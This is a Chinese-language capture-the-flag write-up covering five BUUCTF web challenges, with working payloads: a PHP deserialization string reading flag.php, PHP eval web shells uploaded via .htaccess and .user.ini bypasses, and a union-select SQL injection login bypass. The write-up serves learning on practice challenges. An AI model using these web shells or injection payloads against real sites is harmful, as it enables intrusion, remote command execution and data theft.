BUUCTF-WEB(26-30)

[MRCTF2020]Ez_bypass

源码如下

首先显示MD5值强比较,我们就用数组绕过

?id[]=1&gg[]=2

然后后面就用字符串绕过,他在解析的时候,会转换成数值

passwd=1234567a

总的payload

[网鼎杯 2020 青龙组]AreUSerialz

参考:

[网鼎杯 2020 青龙组]AreUSerialz 解题思路&过程-CSDN博客

打开题目就是源码

<?php

include("flag.php");

highlight_file(__FILE__);

class FileHandler {

    protected $op;
    protected $filename;
    protected $content;

    function __construct() {
        $op = "1";
        $filename = "/tmp/tmpfile";
        $content = "Hello World!";
        $this->process();
    }

    public function process() {
        if($this->op == "1") {
            $this->write();
        } else if($this->op == "2") {
            $res = $this->read();
            $this->output($res);
        } else {
            $this->output("Bad Hacker!");
        }
    }

    private function write() {
        if(isset($this->filename) && isset($this->content)) {
            if(strlen((string)$this->content) > 100) {
                $this->output("Too long!");
                die();
            }
            $res = file_put_contents($this->filename, $this->content);
            if($res) $this->output("Successful!");
            else $this->output("Failed!");
        } else {
            $this->output("Failed!");
        }
    }

    private function read() {
        $res = "";
        if(isset($this->filename)) {
            $res = file_get_contents($this->filename);
        }
        return $res;
    }

    private function output($s) {
        echo "[Result]: <br>";
        echo $s;
    }

    function __destruct() {
        if($this->op === "2")
            $this->op = "1";
        $this->content = "";
        $this->process();
    }

}

function is_valid($s) {
    for($i = 0; $i < strlen($s); $i++)
        if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
            return false;
    return true;
}

if(isset($_GET{'str'})) {

    $str = (string)$_GET['str'];
    if(is_valid($str)) {
        $obj = unserialize($str);
    }

}

我们可以看出来是一个反序列化的题。

它需要我们传递的参数ascll码对应的32-125的位置,都是些常见的可打印字符

然后__destruct会判断我们是不是op=2,我们需要绕过,这个是===,我们直接数字2绕过

然后process里面,我们进入read(),然后读取flag.php源码

分析完毕,我们打开php在线

构造完毕后会显示不可打印字符

<?php
class FileHandler {

    protected $op=2;
    protected $filename="php://filter/read=convert.base64-encode/resource=flag.php";
	protected $content;
}
$a=new FileHandler();
echo serialize($a);

大佬说

查看网页源代码,可以看到有不可打印字符。这是因为序列化后protected类型的属性存在不可打印字符。(经测试,private类型的属性序列化后也产生不可打印字符)对于PHP版本7.1+,对属性的类型不敏感,我们可以将protected类型改为public,以消除不可打印字符。

所以我们把属性都改成 public,再构造一次

?str=O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";s:7:"content";N;}

bas64解码得到flag

[GXYCTF2019]BabyUpload

这道题先是过滤了后缀不能出现ph,我们平常用的php文件后缀,都用不了,所以这个绕不过

还有文件类型过滤,可以改成 image/jpeg

文件里内容不能出现 <? ,那我们就换写法

<script language="php">eval($_REQUEST['cmd']);</script>

中间我访问了错误地址,发现是apache中间件,所以我们这道题可以.htaccess绕过

<IfModule mime_module>
SetHandler application/x-httpd-php    
</IfModule>

然后上传图片马

蚁剑连接找到flag

[SUCTF 2019]CheckIn

参考:

[文件上传]浅析.user.ini的利用-CSDN博客

这道题和上道题差不多,只不过这道题用了.user.ini绕过,多了一个文件头检测

我们文件头就加上GIF89a

我们先上传 .user.ini

GIF89a
auto_prepend_file=shell.jpg

然后上传shell.jpg

GIF89a
<script language="php">eval($_REQUEST['cmd']);</script>

然后以index.php这个为连接地址,就可以连接蚁剑,找到flag

.user.ini文件过几分钟就会更新消失

[GXYCTF2019]BabySQli

参考:

[GXYCTF2019]BabySQli 1-CSDN博客

[BUUCTF GXYCTF2019]BabySQli 1 详解!(MD5与SQL之间的碰撞)-云社区-华为云 (huaweicloud.com)

这道题我先试了试

屏蔽了 or =,然后大写就可以绕过了

所以我们报字段

1' OR true ORDER BY 3#//正常回显
1' OR true ORDER BY 4#//错误回显

所以字段数为 3

然后我想正常注入,注入不行

看了一下师傅们的博客,说是在登录失败那个界面里有个小提示

`

然后拿去Cyberchef解密CyberChef

然后发现后台的查询语句,我们也是试出来几个字段,然后用户名是admin,然后我们看看admin在哪个字段

试出来发现是第二个字段

' union select 1,'admin',3#

然后看看源码的逻辑,比赛估计没有,这时候我们学习,还是看看吧

大佬的解释如下:[BUUCTF GXYCTF2019]BabySQli 1 详解!(MD5与SQL之间的碰撞)-云社区-华为云 (huaweicloud.com)

username数据表里面的3个字段分别是flag、name、password。
猜测只有password字段位NULL
咱们给参数password传入的值是123
那么传进去后,后台就会把123进行md5值加密并存放到password字段当中
当我们使用查询语句的时候
我们pw参数的值会被md5值进行加密
然后再去与之前存入password中的md5值进行比较
如果相同就会输出flag

然后我们就给 123 MD5加密

202cb962ac59075b964b07152d234b70

payload

' union select 1,'admin','202cb962ac59075b964b07152d234b70'# //username
123 //password

成功拿到flag

热门相关:华丽的外出   狂仙   林氏荣华   后宫:帝王之妾   女儿受辱我怒闯前妻婚礼